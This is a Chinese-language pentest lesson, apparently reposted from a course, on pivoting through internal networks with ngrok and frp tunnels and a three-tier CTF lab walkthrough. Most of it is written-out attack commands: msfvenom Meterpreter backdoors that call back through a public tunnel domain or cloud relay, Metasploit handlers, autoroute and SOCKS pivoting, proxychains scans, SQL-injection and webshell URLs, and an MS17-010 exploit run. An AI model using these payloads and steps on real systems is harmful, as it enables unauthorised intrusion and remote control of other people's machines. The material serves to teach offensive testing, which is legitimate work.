70:內網安全-域橫向內網漫游Socks代理隧道技術


思維導圖

必要基礎知識點:

1.內外網簡單知識

  • 內網ip地址是私有ip地址(10/8, 172.16/12 , 192.168/16),除此之外就是外網ip。

2.內網1和內網2通信問題

  • 兩個不同的內網的主機想要通過CS或者MSF等工具實現控制或者通訊是不可能的,必須要借助代理。

3.正反向協議通信連接問題

  • 正向:控制端主動去連接被控端
  • 反向:被控端主動去連接控制端
  • 為什么要區分正向和反向?--因為如果控制端是外網主機,被控端是內網主機,就相當於控制端有一個唯一的IP地址(比如103.12.4.11),通過這個IP地址就可以找到控制端,而在內網的被控端(比如192.168.23.36),你通過控制端主動去找是找不到的,因為這個內網IP地址並不是唯一的,可能很多內網都用了這個IP地址,你根本沒法找。此時就需要反向連接了,讓內網的被控端主動去找外網的控制端。

4.內網穿透代理隧道技術說明

  • 隧道主要解決流量分析工具、流量監控工具、防火牆等相關工具的過濾問題
  • 代理主要解決網絡的連通性問題

本課主要講解內網滲透-橫向滲透-穿透-代理相關知識點:

  • 代理技術主要解決3種問題:內網有外網,內網有過濾(防火牆),內網無外網(單純主機服務器,無網絡)
  • 代理主要分為:正向代理和反向代理(以下案例均有涉及)
  • 代理相關工具:nps、frp、ngrok、reGeorg、sockscap65、earthworm、proxifier、proxychains
    • 案例涉及工具:frp、ngrok、sockscap65、proxifier、proxychains
    • nps、reGeorg工具:案例未涉及,可自行學習
    • EarthWorm(簡稱EW):已永久停止更新,本課不再講解。

本課重點:

  • 案例1:內網穿透Ngrok測試演示-兩個內網通訊上線
  • 案例2:內網穿透Frp自建跳板測試-兩個內網通訊上線
  • 案例3:CFS三層內網漫游安全測試演練-某CTF線下2019

案例1:內網穿透Ngrok測試演示-兩個內網通訊上線

實驗環境:兩個不同的內網(有網絡)實現穿透控制

1.注冊-購買-填寫-確認

國外地址:https://ngrok.com/
國內地址:https://www.ngrok.cc/
國外的比較卡慢,用國內的就行
協議:http 本地端口:192.168.76.132:4444

2.測試:內網1執行后門-免費主機處理-內網2監聽-內網2接受器

啟動ngrok客戶端
./sunny clientid <隧道id>

在kali下生成后門(因為選擇的是http協議,所以這里是reverse_http),並把后門test.exe復制到windows7
msfvenom -p windows/meterpreter/reverse_http lhost=xiaodisec.free.idcfengye.com lport=80 -f exe -o test.exe

配置並監聽(一旦xiaodisec.free.idcfengye.com有流量,就發給本地192.168.76.132:4444)
msfconsole
use exploit/multi/handler 
set payload windows/meterpreter/reverse_http 
set lhost 192.168.76.132
set lport 4444
exploit

案例演示

<1>注冊,登錄

<2>點擊ngrok客戶端下載

<3>根據操作系統版本選擇對應的客戶端下載(我們用的kali作為內網肉雞,下載的就是linux版本)

<4>開通隧道(僅做測試用,使用免費的即可,免費的不穩定容易斷,實戰中建議使用收費版)

<5>本地端口配置的是內網肉雞kali的IP:Port

<6>開兩台虛擬機模擬內外網,其中kali模擬內網肉雞,windows7模擬外網主機(后面幾步用msf生成后門,再用另一台電腦來執行這個后門,兩台電腦實現互聯)

<7>將ngrok客戶端傳到內網肉雞 kali上,解壓縮

<8>啟動

<9>隧道狀態變為online

<10>生成后門

<11>把后門test.exe復制到windows7

<12>配置並監聽(一旦xiaodisec.free.idcfengye.com有流量,就發給本地192.168.76.132:4444)

msfconsole
use exploit/multi/handler 
set payload windows/meterpreter/reverse_http 
set lhost 192.168.76.132
set lport 4444
exploit

<13>在windows7上雙擊啟動后門test.exe

<14>kali上監聽到會話,ngrok客戶端監聽到流量

案例2-內網穿透Frp自建跳板測試-兩個內網通訊上線

FRP說明文檔:https://gofrp.org/docs/

Frp工具:開源免費,自行搭建,方便修改,成本低,使用多樣化,防止隱私泄露。而Ngrok工具使用的是別人的服務器,容易泄露隱私數據。

1.服務端-下載-解壓-修改-啟動(阿里雲主機記得修改安全組配置出入口)
FRP下載地址:https://github.com/fatedier/frp/releases
服務器修改配置文件frps.ini:
[common]
bind_port = 6677
啟動服務端:
./frps -c ./frps.ini

2.控制端-下載-解壓-修改-啟動
控制端修改配置文件frpc.ini:
[common]
server_addr = 你的雲主機ip
server_port = 6677 #frpc工作端口,必須和上面frps保持一致
[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 5555 #轉發給本機的5555
remote_port = 6000 #服務端用6000端口轉發給本機

啟動客戶端(kali):
./frpc -c ./frpc.ini

生成后門:
msfvenom -p windows/meterpreter/reverse_tcp lhost=你的公網ip lport=6000 -f exe -o frp.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 5555
exploit

3.靶機運行frp即可

案例演示

1.服務端-下載-解壓-修改-啟動(阿里雲主機記得修改安全組配置出入口)

服務器修改配置文件frps.ini:
[common]
bind_port = 6677
啟動服務端:
./frps -c ./frps.ini

2.控制端-下載-解壓-修改-啟動

<1>控制端修改配置文件frpc.ini

[common]
server_addr = 你的雲主機ip
server_port = 6677 #frpc工作端口,必須和上面frps保持一致
[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 5555 #轉發給本機的5555
remote_port = 6000 #服務端用6000端口轉發給本機

<2>啟動客戶端(kali)

./frpc -c ./frpc.ini

此時服務端收到端口連接

<3>生成后門

msfvenom -p windows/meterpreter/reverse_tcp lhost=你的公網ip lport=6000 -f exe -o frp.exe

<4>配置監聽

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 5555 
exploit

3.將后門文件拷貝到靶機,運行。如上圖所示,監聽到會話。

案例3:CFS三層內網漫游安全測試演練-某CTF線下2019

來源2019某CTF線下賽真題內網結合WEB攻防題庫,涉及WEB攻擊,內網代理路由等技術,每台服務器存在一個Flag,獲取每一個Flag對應一個積分,獲取三個Flag結尾。

Target1(centos7 x64):
探針目標-利用WEB漏洞(TP5_RCE)-獲取webshell權限-獲取Flag-Target2

1.生成后門:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.76.132 LPORT=1111 -f elf >t1.elf

2.接受反彈:
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.76.132
set LPORT 1111
exploit

3.信息收集及配置訪問
獲取網絡接口:run get_local_subnets
查看路由地址:run autoroute -p 
添加路由地址:run autoroute -s 192.168.22.0/24
開啟本地代理:
use auxiliary/server/socks4a
set srvport 2222
exploit

4.利用本地代理接口訪問測試
設置瀏覽器代理進行訪問測試
linux:
配置proxychains(代理工具)后調用工具探針Target2
/etc/proxychains.conf
socks4 192.168.76.132 2222(在配置文件中添加)
proxychains4 nmap -sT -Pn 192.168.22.0/24 -p80  
-Pn:掃描主機檢測其是否受到數據包過濾軟件或防火牆的保護。
-sT:掃描TCP數據包已建立的連接connect

windows:
利用代理工具Proxifier或SocksCap64載入代理進行進程訪問測試

Target2(ubuntu x64):
探針目標-利用WEB漏洞(SQL注入)-后台獲取webshell權限-獲取Flag-Target3
http://192.168.22.128/index.php?r=vul&keyword=1 #sql注入
http://192.168.22.128/index.php?r=admini/public/login #后台
http://192.168.22.128/index.php?r=special #后門shell

1.生成正向后門:
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > t2.elf

2.訪問接受:
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.22.128
set LPORT 3333
exploit

3.信息收集及配置訪問
獲取網絡接口:run get_local_subnets
查看路由地址:run autoroute -p
添加路由地址:run autoroute -s 192.168.33.0/24

Target3:(windows7 x64)
探針目標-端口及漏洞掃描-利用MS17010獲取系統權限-獲取Flag-GG
proxychains4 nmap -Pn -sT 192.168.33.33
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.33.33
exploit
shell
dir /S flag.txt /B
type xxxxx.txt

案例演示

環境准備

Target1(centos7 x64):

探針目標-利用WEB漏洞(TP5_RCE)-獲取webshell權限-獲取Flag-Target2

<1>探針目標,發現target1上面部署了thinkphp v5

<2>驗證是否存在遠程命令執行漏洞,結果存在。

<3>利用漏洞,可以直接執行命令

<4>通過命令可以直接寫入后門

<5>瀏覽器查看一下,寫入成功

<6>蟻劍連接,拿到第1個flag。

連接上去之后,可以用它當做跳板,但是蟻劍比較麻煩,此時可以改用CS神器或者MSF,因為使用CS或者MSF時,即使權限不夠,我們也可以進行一些操作。

<7>接下來我們開始滲透Target2。kali直接與target2連接是連不上的。因為kali網段是76,target2網段是22,二者不在同一個網段,無法互聯,但是target1網段是76和22,target1既跟kali同一網段,又跟target2同一網段,因此,我們可以將target1作為跳板,實現kali和target2的互聯。

<8>生成后門(kali上):

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.76.132 LPORT=1111 -f elf >t1.elf

<9>設置監聽,准備接受反彈(kali上):

msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.76.132
set LPORT 1111
exploit

<10>將生成的后門通過蟻劍webshell上傳到target1主機,執行后門。

<11>此時kali上接收到會話,getuid可以查看會話權限。

<12>信息收集及配置訪問。

由於測試環境是我們自己准備的,所以我們知道target2主機的網段及IP地址。但是在實戰中,我們應該是未知的,因此我們需要首先進行信息收集,以獲得目標target2的相關信息,為進一步的滲透做准備。

首先,獲取網絡接口:run get_local_subnets ,由結果我們得知,target1存在兩個網絡接口,一個76,一個22,76與kali同一網段,是連接外網的,那22就是連接內網(局域網)的。

然后,查看路由地址:run autoroute -p ,發現當前的路由地址是空的

接着,我們就要添加路由地址:run autoroute -s 192.168.22.0/24

最后,再查看一下路由地址,確認添加成功。

添加路由地址成功,說明在剛才反彈的session1會話上,我們添加了一個22網段的網絡接口。此時我們就可以通過這個路由跟22網段進行通訊了。雖然能夠通訊了,但是我們的目標是攻擊target2,要攻擊就需要使用到工具,由於路由是寫到了maf建立的會話上面,有些工具沒法用。此時我們就需要開一個代理,開這個代理就相當於開一個接口給其他人用。
<13>開啟本地代理

use auxiliary/server/socks4a
set srvport 2222
exploit

<14>利用本地代理接口訪問測試

首先,kali上配置proxychains(代理工具),修改/etc/proxychains.conf配置文件

socks4 192.168.76.132 2222(在配置文件中添加)

然后,調用工具探針Target2,掃描結果發現,80端口開放。

proxychains4 nmap -sT -Pn 192.168.22.0/24 -p80 
-Pn:掃描主機檢測其是否受到數據包過濾軟件或防火牆的保護。
-sT:掃描TCP數據包已建立的連接connect

接着,瀏覽器修改代理配置

最后,此時kali上我們就可以正常訪問target2上的服務了(以前是無法連接狀態)

Target2(ubuntu x64):

探針目標-利用WEB漏洞(SQL注入)-后台獲取webshell權限-獲取Flag-Target3

<1>探針目標,利用SQL注入,拿到后台密碼,登錄后台。

http://192.168.22.128/index.php?r=vul&keyword=1 #sql注入
http://192.168.22.128/index.php?r=admini/public/login #后台
http://192.168.22.128/index.php?r=special #后門shell

首先探針目標,在源碼中直接找到線索,target2上的CMS服務存在SQL注入漏洞。

然后,通過sqlmap掃描注入點找到用戶名密碼。

接着,通過robots.txt文件找到了后台地址。\

最后,使用用戶名密碼登錄后台。

登錄成功,拿到第2個flag。

<2>通過后台模板功能,寫入后門。

<3>配置蟻劍代理,測試連接,保存連接,訪問,拿到webshell。

以上是kali linux的代理訪問設置,如果攻擊機是windows的話,還可以利用代理工具Proxifier或SocksCap64載入代理進行遠程訪問測試。

Proxifier全局代理:

SocksCap64代理:

首先,點擊代理,配置代理地址、端口和代理類型。

然后,點擊程序,選擇需要使用該代理的程序。(比如某些程序本身沒有代理配置,此時就可以與SocksCap64配合使用代理)

最后,右擊添加的程序,選擇"在代理隧道中運行選中程序"。

<4>生成正向后門

msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > t2.elf

<5>訪問接收

use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.22.128
set LPORT 3333
exploit

<6>將后門通過webshell上傳,執行

<7>接收到會話

<8>信息收集及配置訪問

獲取網絡接口:run get_local_subnets
查看路由地址:run autoroute -p
添加路由地址:run autoroute -s 192.168.33.0/24

接下來對3333端口進行攻擊,由於目標主機是windows系統,我們以前講過很多攻擊工具,比如,namp --script=all、namp --script=vuln、nessus等。

Target3:(windows7 x64)

探針目標-端口及漏洞掃描-利用MS17010獲取系統權限-獲取Flag-GG

<1>探針目標,發現開放了445和3389端口,且存在MS17010漏洞。

proxychains4 nmap -Pn -sT 192.168.33.33

<2>利用MS17010獲取系統權限

use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.33.33
exploit

<3>監聽到會話,得到system權限。

<4>搜索關鍵字,得到第3個flag。

shell
dir /S flag.txt /B
type xxxxx.txt


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM